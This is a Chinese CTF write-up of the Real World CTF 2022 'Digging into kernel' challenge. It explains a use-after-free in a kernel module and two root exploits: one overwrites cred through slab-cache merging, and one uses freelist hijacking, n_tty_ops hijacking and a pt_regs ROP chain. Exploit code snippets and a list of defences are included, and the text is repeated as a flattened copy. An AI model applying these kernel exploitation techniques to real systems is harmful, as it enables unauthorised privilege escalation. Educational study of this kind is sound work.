对 Real World CTF 2022 高校赛 Digging into kernel 的重新思考
字数 2014 2025-08-29 08:31:54

Real World CTF 2022 高校赛 Digging into kernel 漏洞分析与利用

0x00 题目概述

这道题目来自Real World CTF 2022高校赛,是一个内核模块漏洞利用题目。题目提供了一个存在漏洞的内核模块xkmod.ko,攻击者需要通过该模块的漏洞实现提权。

0x01 环境配置

启动脚本如下:

qemu-system-x86_64 \
    -kernel bzImage \
    -initrd rootfs.cpio \
    -append "console=ttyS0 root=/dev/ram rdinit=/sbin/init quiet kalsr" \
    -cpu kvm64,+smep,+smap \
    -monitor null \
    --nographic

保护机制:

  • 开启了SMEP和SMAP
  • 默认开启KASLR(虽然启动参数中写成了kalsr)
  • 开启了KPTI(内核页表隔离)

0x02 漏洞分析

内核模块功能

模块加载时会创建一个名为"lalala"的kmem_cache,object大小为192字节:

kmem_cache_create("lalala", 192, 0, 0, 0);

模块提供了以下功能:

  1. 分配object
  2. 编辑object内容
  3. 读取object内容

使用结构体进行通信:

struct Data {
    size_t *ptr;
    unsigned int offset;
    unsigned int length;
};

主要漏洞

  1. UAF漏洞:关闭设备文件时会释放buf指针,但没有将其置NULL,可以通过同时打开多个设备文件来利用这个UAF漏洞。
  2. 竞争条件:ioctl中的所有操作都没有上锁,可能导致竞争条件。

0x03 漏洞利用方法

解法一:修改子进程cred结构体

原理

  • 由于kmem_cache没有设置特殊flag,会与系统中其他192字节的kmem_cache合并
  • 进程的cred结构体也使用相同大小的kmem_cache
  • 通过UAF可以修改子进程的cred结构体实现提权

利用步骤

  1. 打开两个设备文件
  2. 分配一个object
  3. 关闭其中一个设备文件释放object但不置NULL
  4. fork创建子进程
  5. 通过另一个设备文件读取并修改子进程的cred

EXP关键代码

int dev_fd[2];
for(int i=0; i<2; i++) 
    dev_fd[i] = open("/dev/xkmod", O_RDONLY);

alloc(dev_fd[0]);
close(dev_fd[0]);

int pid = fork();
if(!pid) {
    get(dev_fd[1], &data);
    if(((int *)(data.ptr))[3] == 1000) {
        for(int i=0; i<10; i++) 
            data.ptr[i] = 0;
        edit(dev_fd[1], &data);
        if(!getuid()) {
            system("/bin/sh");
        }
    }
}

解法二:劫持n_tty_ops->read实现ROP

原理

  1. 利用UAF实现任意地址读写
  2. 劫持n_tty_ops函数表中的read指针
  3. 通过read系统调用触发ROP链
  4. 利用pt_regs结构体布置ROP链

详细利用步骤

Step 1: 实现内核任意地址读写

  1. 释放一个object后读取其内容,获取freelist指针
  2. 修改freelist指针指向目标地址-0x10(前面需要有8字节0)
  3. 连续分配两次,第二次分配将得到目标地址的object

Step 2: 泄露内核基址

  1. 通过freelist指针计算page_offset_base
  2. 在page_offset_base + 0x9d000处读取secondary_startup_64地址泄露内核基址

Step 3: 劫持n_tty_ops->read

  1. 找到n_tty_ops结构体地址(通过搜索函数指针)
  2. 修改read指针为ROP gadget地址(如add rsp, 0xc8; ret)

Step 4: 布置ROP链

利用pt_regs结构体布置ROP链:

  • r15: pop rdi; ret
  • r14: 0
  • r13: prepare_kernel_cred地址
  • r12: xchg rax, rdi; ret
  • rbp: commit_creds地址
  • rbx: swapgs_restore_regs_and_return_to_usermode地址

Step 5: 触发ROP

通过read系统调用触发n_tty_ops->read,执行ROP链

Step 6: 修复n_tty_ops

提权后将n_tty_ops->read恢复为原值,保证shell稳定

关键ROP代码

__asm__(
    "mov r15, pop_rdi_ret;"
    "xor r14, r14;"
    "mov r13, prepare_kernel_cred;"
    "mov r12, xchg_rax_rdi_ret;"
    "mov rbp, commit_creds;"
    "mov rbx, swapgs_restore_regs_and_return_to_usermode;"
    "xor rax, rax;"
    "mov rcx, 0xaaaaaaaa;"
    "mov rdx, 0x8;"
    "mov rsi, rsp;"
    "xor rdi, rdi;"
    "syscall"
);

0x04 关键知识点

  1. kmem_cache机制

    • 相同大小且没有特殊flag的kmem_cache会合并
    • cred结构体通常使用通用kmem_cache
  2. n_tty_ops劫持

    • tty子系统核心结构体
    • read系统调用会调用n_tty_ops->read
    • 劫持后可以实现稳定触发
  3. pt_regs利用

    • 系统调用时所有寄存器会被保存到内核栈
    • 通过寄存器布置ROP链
    • 使用栈迁移gadget跳转到ROP链
  4. KPTI绕过

    • 使用swapgs_restore_regs_and_return_to_usermode返回用户态
    • 该函数会完成KPTI相关的页表切换

0x05 防御措施

  1. 设置kmem_cache的flag防止合并
  2. 对全局指针添加引用计数
  3. 使用锁保护共享资源
  4. 开启CONFIG_SLAB_FREELIST_HARDENED保护
  5. 开启CONFIG_SLAB_FREELIST_RANDOM保护

0x06 总结

这道题目展示了内核漏洞利用的多种技术:

  1. 通过UAF实现任意地址读写
  2. 利用内核对象缓存合并特性修改敏感结构体
  3. 劫持全局函数表控制执行流
  4. 利用pt_regs结构体布置ROP链
  5. 绕过SMEP/SMAP/KPTI等保护机制

两种解法各有特点,第一种简单直接,第二种更加通用,适用于更严格的防护环境。

Real World CTF 2022 高校赛 Digging into kernel 漏洞分析与利用 0x00 题目概述 这道题目来自Real World CTF 2022高校赛,是一个内核模块漏洞利用题目。题目提供了一个存在漏洞的内核模块 xkmod.ko ,攻击者需要通过该模块的漏洞实现提权。 0x01 环境配置 启动脚本如下: 保护机制: 开启了SMEP和SMAP 默认开启KASLR(虽然启动参数中写成了kalsr) 开启了KPTI(内核页表隔离) 0x02 漏洞分析 内核模块功能 模块加载时会创建一个名为"lalala"的kmem_ cache,object大小为192字节: 模块提供了以下功能: 分配object 编辑object内容 读取object内容 使用结构体进行通信: 主要漏洞 UAF漏洞 :关闭设备文件时会释放buf指针,但没有将其置NULL,可以通过同时打开多个设备文件来利用这个UAF漏洞。 竞争条件 :ioctl中的所有操作都没有上锁,可能导致竞争条件。 0x03 漏洞利用方法 解法一:修改子进程cred结构体 原理 : 由于kmem_ cache没有设置特殊flag,会与系统中其他192字节的kmem_ cache合并 进程的cred结构体也使用相同大小的kmem_ cache 通过UAF可以修改子进程的cred结构体实现提权 利用步骤 : 打开两个设备文件 分配一个object 关闭其中一个设备文件释放object但不置NULL fork创建子进程 通过另一个设备文件读取并修改子进程的cred EXP关键代码 : 解法二:劫持n_ tty_ ops->read实现ROP 原理 : 利用UAF实现任意地址读写 劫持n_ tty_ ops函数表中的read指针 通过read系统调用触发ROP链 利用pt_ regs结构体布置ROP链 详细利用步骤 : Step 1: 实现内核任意地址读写 释放一个object后读取其内容,获取freelist指针 修改freelist指针指向目标地址-0x10(前面需要有8字节0) 连续分配两次,第二次分配将得到目标地址的object Step 2: 泄露内核基址 通过freelist指针计算page_ offset_ base 在page_ offset_ base + 0x9d000处读取secondary_ startup_ 64地址泄露内核基址 Step 3: 劫持n_ tty_ ops->read 找到n_ tty_ ops结构体地址(通过搜索函数指针) 修改read指针为ROP gadget地址(如add rsp, 0xc8; ret) Step 4: 布置ROP链 利用pt_ regs结构体布置ROP链: r15: pop rdi; ret r14: 0 r13: prepare_ kernel_ cred地址 r12: xchg rax, rdi; ret rbp: commit_ creds地址 rbx: swapgs_ restore_ regs_ and_ return_ to_ usermode地址 Step 5: 触发ROP 通过read系统调用触发n_ tty_ ops->read,执行ROP链 Step 6: 修复n_ tty_ ops 提权后将n_ tty_ ops->read恢复为原值,保证shell稳定 关键ROP代码 : 0x04 关键知识点 kmem_ cache机制 : 相同大小且没有特殊flag的kmem_ cache会合并 cred结构体通常使用通用kmem_ cache n_ tty_ ops劫持 : tty子系统核心结构体 read系统调用会调用n_ tty_ ops->read 劫持后可以实现稳定触发 pt_ regs利用 : 系统调用时所有寄存器会被保存到内核栈 通过寄存器布置ROP链 使用栈迁移gadget跳转到ROP链 KPTI绕过 : 使用swapgs_ restore_ regs_ and_ return_ to_ usermode返回用户态 该函数会完成KPTI相关的页表切换 0x05 防御措施 设置kmem_ cache的flag防止合并 对全局指针添加引用计数 使用锁保护共享资源 开启CONFIG_ SLAB_ FREELIST_ HARDENED保护 开启CONFIG_ SLAB_ FREELIST_ RANDOM保护 0x06 总结 这道题目展示了内核漏洞利用的多种技术: 通过UAF实现任意地址读写 利用内核对象缓存合并特性修改敏感结构体 劫持全局函数表控制执行流 利用pt_ regs结构体布置ROP链 绕过SMEP/SMAP/KPTI等保护机制 两种解法各有特点,第一种简单直接,第二种更加通用,适用于更严格的防护环境。